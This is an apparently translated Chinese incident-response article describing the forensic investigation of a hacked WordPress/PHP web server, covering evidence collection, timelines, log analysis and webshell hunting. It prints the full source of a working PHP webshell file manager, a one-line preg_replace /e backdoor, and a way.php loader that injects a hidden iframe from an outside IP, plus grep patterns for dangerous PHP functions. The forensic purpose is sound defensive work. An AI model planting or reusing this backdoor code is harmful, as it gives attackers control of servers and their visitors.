中国领先的IT技术网站
|
|

一次服务器被攻击的应急行动

如果你的PHP服务器被黑客入侵时该怎么办?这是我最近处理linux web服务器发现的一个问题。PHP服务器被黑时,会出现新的PHP文件,这与运行在服务器上的wordpress应用程序和特定的用户代理没有任何关系,所有的流量都被重定向到另一个站点。

作者:佚名来源:嘶吼专业版|2017-10-18 09:06

Tech Neo技术沙龙 | 11月25号,九州云/ZStack与您一起探讨云时代网络边界管理实践


如果你的PHP服务器被黑客入侵时该怎么办?这是我最近处理linux web服务器发现的一个问题。PHP服务器被黑时,会出现新的PHP文件,这与运行在服务器上的wordpress应用程序和特定的用户代理没有任何关系,所有的流量都被重定向到另一个站点。

应急准备

在第一次被攻击之后,我已经禁用了所有他所检测到的恶意文件,并修复了重定向,直到服务器再次被黑客攻击。

为此,要将这些应用程序转移到新的设备进行分析,我必须在原系统上对下列3个线索进行取证:

应用仍然在运行;

应用至少被黑过两次;

应用已经被管理员大量修改过了。

不过要说明的是,我的目的不是要建立一个合法有效的保护机制,而是要确定:

确定系统是否被破坏,如果被破坏,则删除或屏蔽与此相关的所有内容;

检测哪些文件被修改以避免将受感染的文件转移到新的主机;

理想情况下,初始攻击向量被阻止;

在获得域名、IP和SSH证书后,我就开始收集被黑的证据了。

收集证据

在连接到服务器之前,我注意到我的IP,以确保以后能够在日志中把它区分开。

然后通过SFTP连接,由于服务器的磁盘安装和运行,我无法进行映像。所以我下载了所有我可以得到的日志文件以及其他感兴趣的文件。我复制了整个/ var/log/目录,并从虚拟主机根文档所在的目录中复制了Apache特定的日志文件。我复制了被黑的PHP应用程序,以及在事件发生后不久的一些备份。不幸的是,我没有对管理员所做的更改进行备份,因此一些关键的文件可能已经被修改了。

我启动了Kali并运行了一个具有portscan端口扫描器程序的Nmap扫描,另外我还安装WPScan。因为服务器运行的是一个旧的Wordpress实例,而且这个实例也执行了重定向,所以Wordpress看起来很可能是攻击的初始点。然而,自从Wordpress在黑客攻击后已经更新,WPScan没有发现任何当前的漏洞。portscan为FTP、SSH、HTTP和HTTPS提供了开放端口,而这在web服务器上是不可能的。然而,我在wp - content目录下发现了所有的shell,在某种程度上,这意味着Wordpress应用程序已经被破坏。

我还检查了VirusTotal,看看网站是否传播了恶意软件,但一切似乎都很正常。

于是我决定通过控制台登录系统,但前提是我不知道服务器上的二进制文件是否被感染了,因此为了减少取证的影响,我带来了我自己的静态链接二进制文件。我从busybox下载了二进制coreutil,并将它们上传到了服务器上。我还通过SLEUTH Kit上传了chkrootkit和一个叫做mac-robber 的工具。

我使用静态二进制文件来检查系统,得到一个运行流程列表,cronjob……

  1. netstat -tulpen 

为了得到一个监控列表(tcp和udp)进程,我没有涵盖portscan中的所有端口,因此这里的输出可能很有趣。

  1. netstat -taupn 

从服务器显示活动的传出连接(tcp和udp),然而,这两个清单都没有显示可疑的活动。

对 chkrootkit进行rootkit检测,也没有找到任何东西。rkhunter和clamav也没有产生任何异常。ClamAV(Linux杀毒软件)也没有检测到php shell和windows木马程序。

虽然我很努力,但到目前为止还没有发现异常打开的端口,异常的进程运行。于是,我和一个管理员核实了FTP和ssh 帐号,这些账号看起来也很正常。

但我并没有放弃,在使用了mac-robber工具后,我收集了在服务器上创建和修改的文件信息(稍后可以用来创建事件的时间轴):

  1. ./mac-robber / > /root/forensics/timeline.txt 

截至目前,我收集的证据包括:

关于在服务器上何时创建了哪些文件的信息各种日志文件,其中包括Apache日志受损网站的源代码,包括一些修改的shell在第一次和第二次攻击之间备份的信息

分析证据

由于已经发现了攻击者放置的一些webshell,在经过分析后。我认为,这些文件很像Xjrop.php, Nwfqx.php 或Rwchn7.php,并且很可能驻留在常规应用程序文件。然而,也有一个up.php文件被调用,它提供了一个相似的目的,但有其他的源代码。而Xjrop.php, Nwfqx.php和Rwchn7.php是一样的, up.php是另一种具有略微不同功能的shell。用diff 命令,比较文件:

diff Xjrop.php Nwfqx.php

或者通过比较他们的md5sum比较:

md5sum Xjrop.phpmd5sum Nwfqx.php

还有2个文件—— bjrnpf.php和jemkwl.php,这些都是相同的,但不同于其他文件。一个可疑的可执行文件被命名为windoze,我怀疑是一些恶意软件可能是从这个主机分发的。我构建了这个文件的md5sum,并检查了VirusTotal的哈希值,注意,在VirusTotal上上传的文件可以被其他研究人员看到,因此是公开的。VirusTotal认为这个文件是木马,为了以后的分析,我保存了它。

一些PHP shell看起来如下所示:

  1. <?php 
  2. set_time_limit(0); 
  3. error_reporting(0); 
  4. if(get_magic_quotes_gpc()){ 
  5.     foreach($_POST as $key=>$value){ 
  6.         $_POST[$key] = stripslashes($value); 
  7.     } 
  8. echo '<!DOCTYPE HTML> 
  9. <HTML> 
  10. <HEAD> 
  11. <link href="" rel="stylesheet" type="text/css"
  12. <title>404-server!!</title> 
  13. <style> 
  14. body{ 
  15.     font-family: "Racing Sans One", cursive; 
  16.     background-color: #e6e6e6; 
  17.     text-shadow:0px 0px 1px #757575; 
  18. #content tr:hover{ 
  19.     background-color: #636263; 
  20.     text-shadow:0px 0px 10px #fff; 
  21. #content .first
  22.     background-color: silver; 
  23. #content .first:hover{ 
  24.     background-color: silver; 
  25.     text-shadow:0px 0px 1px #757575; 
  26. table
  27.     border: 1px #000000 dotted; 
  28. H1{ 
  29.     font-family: "Rye", cursive; 
  30. a{ 
  31.     color: #000; 
  32.     text-decoration: none; 
  33. a:hover{ 
  34.     color: #fff; 
  35.     text-shadow:0px 0px 10px #ffffff; 
  36. input,select,textarea{ 
  37.     border: 1px #000000 solid; 
  38.     -moz-border-radius: 5px; 
  39.     -webkit-border-radius:5px; 
  40.     border-radius:5px; 
  41. </style> 
  42. </HEAD> 
  43. <BODY> 
  44. <H1><center>config root man</center></H1> 
  45. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"
  46. <tr><td>Current Path : '; 
  47. if(isset($_GET['path'])){ 
  48.     $path = $_GET['path'];    
  49. }else
  50.     $path = getcwd(); 
  51. $path = str_replace('','/',$path); 
  52. $paths = explode('/',$path); 
  53. foreach($paths as $id=>$pat){ 
  54.     if($pat == '' && $id == 0){ 
  55.         $a = true
  56.         echo '<a href="?path=/">/</a>'
  57.         continue
  58.     } 
  59.     if($pat == ''continue
  60.     echo '<a href="?path='
  61.     for($i=0;$i<=$id;$i++){ 
  62.         echo "$paths[$i]"
  63.         if($i != $id) echo "/"
  64.     } 
  65.     echo '">'.$pat.'</a>/'
  66. echo '</td></tr><tr><td>'
  67. if(isset($_FILES['file'])){ 
  68.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ 
  69.         echo '<font color="green">File Upload Done.</font><br />'
  70.     }else
  71.         echo '<font color="red">File Upload Error.</font><br />'
  72.     } 
  73. echo '<b><br>'.php_uname().'<br></b>'
  74. echo '<form enctype="multipart/form-data" method="POST"
  75. Upload File : <input type="file" name="file" /> 
  76. <input type="submit" value="upload" /> 
  77. </form> 
  78. </td></tr>'; 
  79. if(isset($_GET['filesrc'])){ 
  80.     echo "<tr><td>Current File : "
  81.     echo $_GET['filesrc']; 
  82.     echo '</tr></td></table><br />'
  83.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); 
  84. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ 
  85.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />'
  86.     if($_POST['opt'] == 'chmod'){ 
  87.         if(isset($_POST['perm'])){ 
  88.             if(chmod($_POST['path'],$_POST['perm'])){ 
  89.                 echo '<font color="green">Change Permission Done.</font><br />'
  90.             }else
  91.                 echo '<font color="red">Change Permission Error.</font><br />'
  92.             } 
  93.         } 
  94.         echo '<form method="POST"
  95.         Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /> 
  96.         <input type="hidden" name="path" value="'.$_POST['path'].'"
  97.         <input type="hidden" name="opt" value="chmod"
  98.         <input type="submit" value="Go" /> 
  99.         </form>'; 
  100.     }elseif($_POST['opt'] == 'rename'){ 
  101.         if(isset($_POST['newname'])){ 
  102.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ 
  103.                 echo '<font color="green">Change Name Done.</font><br />'
  104.             }else
  105.                 echo '<font color="red">Change Name Error.</font><br />'
  106.             } 
  107.             $_POST['name'] = $_POST['newname']; 
  108.         } 
  109.         echo '<form method="POST"
  110.         New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> 
  111.         <input type="hidden" name="path" value="'.$_POST['path'].'"
  112.         <input type="hidden" name="opt" value="rename"
  113.         <input type="submit" value="Go" /> 
  114.         </form>'; 
  115.     }elseif($_POST['opt'] == 'edit'){ 
  116.         if(isset($_POST['src'])){ 
  117.             $fp = fopen($_POST['path'],'w'); 
  118.             if(fwrite($fp,$_POST['src'])){ 
  119.                 echo '<font color="green">Edit File Done.</font><br />'
  120.             }else
  121.                 echo '<font color="red">Edit File Error.</font><br />'
  122.             } 
  123.             fclose($fp); 
  124.         } 
  125.         echo '<form method="POST"
  126.         <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> 
  127.         <input type="hidden" name="path" value="'.$_POST['path'].'"
  128.         <input type="hidden" name="opt" value="edit"
  129.         <input type="submit" value="Go" /> 
  130.         </form>'; 
  131.     } 
  132.     echo '</center>'
  133. }else
  134.     echo '</table><br /><center>'
  135.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ 
  136.         if($_POST['type'] == 'dir'){ 
  137.             if(rmdir($_POST['path'])){ 
  138.                 echo '<font color="green">Delete Dir Done.</font><br />'
  139.             }else
  140.                 echo '<font color="red">Delete Dir Error.</font><br />'
  141.             } 
  142.         }elseif($_POST['type'] == 'file'){ 
  143.             if(unlink($_POST['path'])){ 
  144.                 echo '<font color="green">Delete File Done.</font><br />'
  145.             }else
  146.                 echo '<font color="red">Delete File Error.</font><br />'
  147.             } 
  148.         } 
  149.     } 
  150.     echo '</center>'
  151.     $scandir = scandir($path); 
  152.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"
  153.     <tr class="first"
  154.         <td><center>Name</center></td> 
  155.         <td><center>Size</center></td> 
  156.         <td><center>Permissions</center></td> 
  157.         <td><center>Options</center></td> 
  158.     </tr>'; 
  159.     foreach($scandir as $dir){ 
  160.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..'continue
  161.         echo "<tr> 
  162.         <td><a href="?path=$path/$dir">$dir</a></td> 
  163.         <td><center>--</center></td> 
  164.         <td><center>"; 
  165.         if(is_writable("$path/$dir")) echo '<font color="green">'
  166.         elseif(!is_readable("$path/$dir")) echo '<font color="red">'
  167.         echo perms("$path/$dir"); 
  168.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'
  169.          
  170.         echo "</center></td> 
  171.         <td><center><form method="POST" action="?option&path=$path"
  172.         <select name="opt"
  173.     <option value=""></option
  174.         <option value="delete">Delete</option
  175.         <option value="chmod">Chmod</option
  176.         <option value="rename">Rename</option
  177.         </select
  178.         <input type="hidden" name="type" value="dir"
  179.         <input type="hidden" name="name" value="$dir"
  180.         <input type="hidden" name="path" value="$path/$dir"
  181.         <input type="submit" value=">" /> 
  182.         </form></center></td> 
  183.         </tr>"; 
  184.     } 
  185.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'
  186.     foreach($scandir as $file){ 
  187.         if(!is_file("$path/$file")) continue
  188.         $size = filesize("$path/$file")/1024; 
  189.         $size = round($size,3); 
  190.         if($size >= 1024){ 
  191.             $size = round($size/1024,2).' MB'
  192.         }else
  193.             $size = $size.' KB'
  194.         } 
  195.         echo "<tr> 
  196.         <td><a href="?filesrc=$path/$file&path=$path">$file</a></td> 
  197.         <td><center>".$size."</center></td> 
  198.         <td><center>"; 
  199.         if(is_writable("$path/$file")) echo '<font color="green">'
  200.         elseif(!is_readable("$path/$file")) echo '<font color="red">'
  201.         echo perms("$path/$file"); 
  202.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'
  203.         echo "</center></td> 
  204.         <td><center><form method="POST" action="?option&path=$path"
  205.         <select name="opt"
  206.     <option value=""></option
  207.         <option value="delete">Delete</option
  208.         <option value="chmod">Chmod</option
  209.         <option value="rename">Rename</option
  210.         <option value="edit">Edit</option
  211.         </select
  212.         <input type="hidden" name="type" value="file"
  213.         <input type="hidden" name="name" value="$file"
  214.         <input type="hidden" name="path" value="$path/$file"
  215.         <input type="submit" value=">" /> 
  216.         </form></center></td> 
  217.         </tr>"; 
  218.     } 
  219.     echo '</table
  220.     </div>'; 
  221. echo '<br />Man Man <br /> 
  222. </BODY> 
  223. </HTML>'; 
  224. function perms($file){ 
  225.     $perms = fileperms($file); 
  226. if (($perms & 0xC000) == 0xC000) { 
  227.     // Socket 
  228.     $info = 's'
  229. } elseif (($perms & 0xA000) == 0xA000) { 
  230.     // Symbolic Link 
  231.     $info = 'l'
  232. } elseif (($perms & 0x8000) == 0x8000) { 
  233.     // Regular 
  234.     $info = '-'
  235. } elseif (($perms & 0x6000) == 0x6000) { 
  236.     // Block special 
  237.     $info = 'b'
  238. } elseif (($perms & 0x4000) == 0x4000) { 
  239.     // Directory 
  240.     $info = 'd'
  241. } elseif (($perms & 0x2000) == 0x2000) { 
  242.     // Character special 
  243.     $info = 'c'
  244. } elseif (($perms & 0x1000) == 0x1000) { 
  245.     // FIFO pipe 
  246.     $info = 'p'
  247. else { 
  248.     // Unknown 
  249.     $info = 'u'
  250. // Owner 
  251. $info .= (($perms & 0x0100) ? 'r' : '-'); 
  252. $info .= (($perms & 0x0080) ? 'w' : '-'); 
  253. $info .= (($perms & 0x0040) ? 
  254.             (($perms & 0x0800) ? 's' : 'x' ) : 
  255.             (($perms & 0x0800) ? 'S' : '-')); 
  256. // Group 
  257. $info .= (($perms & 0x0020) ? 'r' : '-'); 
  258. $info .= (($perms & 0x0010) ? 'w' : '-'); 
  259. $info .= (($perms & 0x0008) ? 
  260.             (($perms & 0x0400) ? 's' : 'x' ) : 
  261.             (($perms & 0x0400) ? 'S' : '-')); 
  262. // World 
  263. $info .= (($perms & 0x0004) ? 'r' : '-'); 
  264. $info .= (($perms & 0x0002) ? 'w' : '-'); 
  265. $info .= (($perms & 0x0001) ? 
  266.             (($perms & 0x0200) ? 't' : 'x' ) : 
  267.             (($perms & 0x0200) ? 'T' : '-')); 
  268.     return $info; 
  269. ?> 

你可能注意到了“404-server! !”的标题,利用谷歌搜索的结果可能是其他受感染的服务器:

有更多可疑的文件包含了看似无用的代码:

  1. <?php @preg_replace("/[pageerror]/e",$_POST['mkf3wapa'],"saft"); ?> 

这行替换了字符串“saft”中的一个小写字母“saft”中的每一个匹配,并使用$ _POST变量mkf3wapa的内容。返回值被忽略,因此我不确定该代码片段的用法应该是什么。

然而,谷歌搜索结果显示,这段代码与404-server有关联! !上传shell并出现在相同的受损服务器上。因此,如果你在服务器上发现了这个代码,它可能是一个被攻击的标识,你应该进一步检查。

检查“404-Server!!“源代码使我得出结论,黑客提供了一个文件浏览器,它具有上传、查看和删除文件以及调整权限的功能。

通过检查这些文件的背后组织和开发者,我发现它们都是由PHP进程的所有者创建的,因此它们非常像PHP应用程序所创建的。

另一个被攻击的文件叫做way.php,它只是包含了来自另一个服务器的文件:

  1. <?php 
  2. $way = 'http://XXX.XXX.XXX.XXX/dir/index.php?52b019b=l3SKfPrfJxjFGMeDebmtF_FXPAzaHkyZxYufiaWSHJmkaWD8jvT5Sknh_QTIT1XW_r4'
  3. $fd = @file($way); 
  4. if ($fd !== false
  5. if (isset($fd[0])) 
  6. echo(' <iframe src="'.$fd[0].'" width="1" height="1" style="position:absolute;left:-1px;"></iframe> '); 
  7. ?> 

因此,这基本上是一种将外国html/javascript代码包含在该域下的方法。然而,恶意服务器向我展示了一个有趣的信息:

这可能是因为我没有使用正确的引用头,或者服务器不再为其恶意负载服务。

在一个html文件中,我发现:

  1. <iframe src="way.php"></iframe> 

它只是用iframe方法插入了way.php的输出。

进一步寻找shell

以上这些文件因为它们异常的文件名被识别后,我开始通过应用程序代码来查找更多可疑的文件。特别是,你可能希望查找在服务器上执行命令的函数,例如:

  • passthru
  • exec
  • shell_exec
  • eval
  • system

并grep所有这些函数的文件:

  1. egrep -rin "system|passthru|exec|shell_exec|eval" /var/www/vhosts/xyz/  >  
  2. ~/forensics/results_shell_grep.txt 

你经常看到人们只grep*.php文件,但这可能会遗漏很多信息,php文件可以有其他扩展,当只检查 *.php扩展时,就可能会忽略*.php5*, *.php4 或*.phps 。因此,如果条件允许,你最好能在所有文件中进行grep,或者在任何其他文件结束时提前搜索。也可能存在带有任意扩展的恶意文件,这些文件由更常规的php文件加载,因此你也应该尝试检测这些文件。

但是,请注意,由于这些文件没有直接执行代码,因此不会检测到混淆的文件和上传的shell。你可能会扩展你的搜索范围,减少一些可疑的函数。

  1. fputs 
  2. fwrite 
  3. fopen (especially with URLs) 
  4. chmod 
  5. socket_* 
  6. curl_* 
  7. base64_decode 
  8. gzinflate 

如果你有一个粗略的想法,当攻击发生的时候,你可能也想要寻找在那个日期之后被创建或修改的文件。

  1. find -mtime -2 /directory 

根据在服务器文件上发生的常规更改,你可以很容易地以这种方式检测到更多的shell。

如果你已经发现了一些恶意文件,那么还可以使用检测到的文件的某些特性来寻找进一步的变体,比如,检查所有文件的字符串“404-Server!!”。

除了传统的杀毒软件扫描仪外,还有一种方法是使用基于yara的扫描仪,比如OWASP中的WebMalwareScanner。这些基本上是扫描文件,并以检测恶意代码的yara规则检查它们。为此,你需要在git中安装yara、python binding和WebMalwareScanner。在我的例子中,运行webmalewarescanner,可以在被破坏的PHP应用程序的源代码上产生了很多结果,我花了一些时间,但也正确地识别了三种类型的webshell中的两种。

  1. root@DESKTOP-XXX:~# cat webmalwarescan_results.txt |grep "webshell" 
  2. [2017-08-01 09:24:56] Scan result for file /path/to/up.php : webshell iMHaPFtp 2 
  3. [...] 

此外,还有一些wordpress插件试图检测出攻击方案,比如sucuri。我不想在已经损坏的系统上安装额外的插件,所以我没有尝试这个。

根据我的经验,在寻找webshell时,你应该始终结合不同的技术。有些有些文件很难识别,乍看上去合法的文件也可能有恶意的功能。你越了解被破坏的系统,就越容易检测到异常文件。

禁用攻击文件

收集完所有这些信息后,不要忘记将恶意文件渲染成无用的。我已经删除了所有用户的阅读和执行权限,但在系统运行了一段时间后,我将删除它们。系统中不应该留下任何损坏的文件,以防有人不小心将它们重新激活。

建立一个攻击时间表

在前面提到的mac-robber 工具之前,我已经检索了文件信息,我用mactime创建了这个信息的时间轴。

  1. mactime -b timeline.txt 2017-06-01 > timeline_output.txt 

然后你会得到一长串看起来像以下的条目:

  1. Fri Jun 30 2017 15:43:02      308 .a.. -rw-r--r-
  2. - 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php 
  3. Fri Jun 30 2017 15:51:55      308 m.c. -rw-r--r-
  4. - 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php 
  5. Fri Jun 30 2017 16:07:47       31 m.c. -rw-r--r-
  6. - 10000    1004     0        /var/www/vhosts/xyz/httpdocs/newmessage.html 

这是服务器上所有文件的非常有用的列表,包括所有者id、组id以及文件修改、访问和更改的时间戳。

请注意,在unix上,通常会获得文件访问时间、文件更改时间和文件修改时间(atime,ctime,mtime)。这些是在文件大小之后的mactime时间线文件中显示的,例如上面示例中的第二行中的m.c.。这意味着给定的日期会显示文件修改和更改时间。

在访问文件时设置a(atime);c(ctime)是在文件内容或权限发生更改时设置的;当文件内容发生了变化,而不是所有者或权限更改时,设置m;在创建文件时,设置b。

因此,mtime在文件最后写入时向我显示。但是,我不能确定它是否与文件创建日期相匹配。不幸的是,这里无法重新构造,因此我不能确定这是上传的时间,但是我可以确定,在周五,Jul 07文件已经在系统上了。在linux上,你可以使用工具stat来显示单个文件的这些信息。

还有一些与文件系统,文件访问,创建时间有关的副标题。首先,如果你的文件系统安装了noatime选项(你可以通过运行mount命令来解决这个问题),则不需要编写访问时间。虽然这能增加取证速度,但显然非常复杂。

然而,好消息是,根据你的文件系统,你可能能够找到文件创建时间。Ext4支持它,它在当前的linux服务器上很常见。但是没有一个用户工具可以很容易地显示它,而mactime也没有捕捉到它。但是,使用debugfs可以检索创建日期。为此,Igor Moiseev编写了一个名为xstat的便捷小脚本。

检查我的时间线,我可以知道第一个恶意的shell何时出现在系统上。

检查日志

我可以在日志中找到一些对这些工具的调用,主要来自亚洲IP地址,但由于POST数据没有被记录,我无法找到从apache日志中上传这些shell的文件。

寻找初始攻击向量

为了确定我是否能识别出最初的攻击,我使用了apache-scalp。这是一个较旧的工具,但仍然有效。它主要通过正则表达式匹配已知攻击向量的apache日志文件。

  1. /opt/apache-scalp/scalp# python scalp.py -l  
  2. /path/to/logs/access_log.processed.1_plain -f /path/to/default_filter.xml -a  
  3. lfi,rfi,sqli,dt -p "25/Jun/2017;05/Jul/2017" --output /root/scalp --html 

然而,在事件发生当天或之前,没有可疑的sql注入或lfi/rfi活动,可能会与其中一个可疑文件发生关系。

检查wordpress插件,我发现在漏洞被上传一个月前,至少有一个SEO插件安装了一个严重的shell。由于安装了很多插件,所以我编写了一个小脚本,来检查wordpress插件目录对wpvulndb.com的访问,并显示所有的漏洞。事实证明,有很多严重的漏洞,在没有足够的日志信息的情况下,很难追踪最初的向量。

  1. [+] w3-total-cache 
  2.      * [UNKNOWN] W3 Total Cache 0.9.2.4 - Username & Hash Extract 
  3.         Fixed in: 0.9.2.5 
  4.         + http://seclists.org/fulldisclosure/2012/Dec/242 
  5.         + https://github.com/FireFart/W3TotalCacheExploit 
  6.      * [RCE] W3 Total Cache - Remote Code Execution 
  7.         Fixed in: 0.9.2.9 
  8.         + http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/ 
  9.         + http://wordpress.org/support/topic/pwn3d 
  10.         + http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html 
  11.      * [CSRF] W3 Total Cache 0.9.4 - Edge Mode Enabling CSRF 
  12.         Fixed in: 0.9.4.1 
  13.         + http://seclists.org/fulldisclosure/2014/Sep/29 
  14.      * [CSRF] W3 Total Cache <= 0.9.4 - Cross-Site Request Forgery (CSRF) 
  15.         Fixed in: 0.9.4.1 

注意,脚本没有检查主题或wordpress核心漏洞,这也可能包含严重的漏洞。

总结

1.该系统已经被破坏了几个星期。在apache日志的shell中,最早的可见访问是在7月初;

2.我识别了各种受损的php文件和一个windows恶意软件;

3.至少有三种类型的shell被发现是攻击的指标;

4.windows恶意软件可能还没有传播;

5.服务器没有显示出明显的更深的感染迹象,从用户帐户来看,没有找到rootkit;

6.攻击可能被限制在webserver用户上。对于其他用户,我还没有任何攻击的迹象;

7.最初的攻击可能是过时的wordpress系统中最不安全的漏洞之一。

8.没有迹象表明其他用户通过shell访问了数据库或数据库凭据。但是,我不能排除有可能访问数据库的可能性。

9.一些可能是来自亚洲IPs的恶意活动(shell访问)

除了清理系统中的恶意文件,我也应用一些优化手段,比如更改密码和证书,安装一个主机id,执行定期扫描,主动监测服务器……。不过,你永远不会得到100%的安全性。特别是当你的服务器已经被破坏时,你所能做的最好的事情就是检查每一个来自非官方的备份或脚本。

【编辑推荐】

  1. 从三生套路十里桃花,看服务器劫难有哪些?
  2. 关于服务器的运行寿命 你应该知道这些事
  3. 企业CIO虚拟服务器数据保护指南
  4. 科普应用服务器,与Web服务器有啥区别?
  5. 无服务器架构中的日志处理
【责任编辑:武晓燕 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

视频课程+更多

热门职位+更多

读 书 +更多

网管第一课——计算机网络原理

本书是《网管第一课》系列图书中的第一本,是专门针对高校和培训机构编写的,其主要特点是内容细而精、针对性强。书中内容全是经过精心挑选...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊
× CTO训练营(深圳站)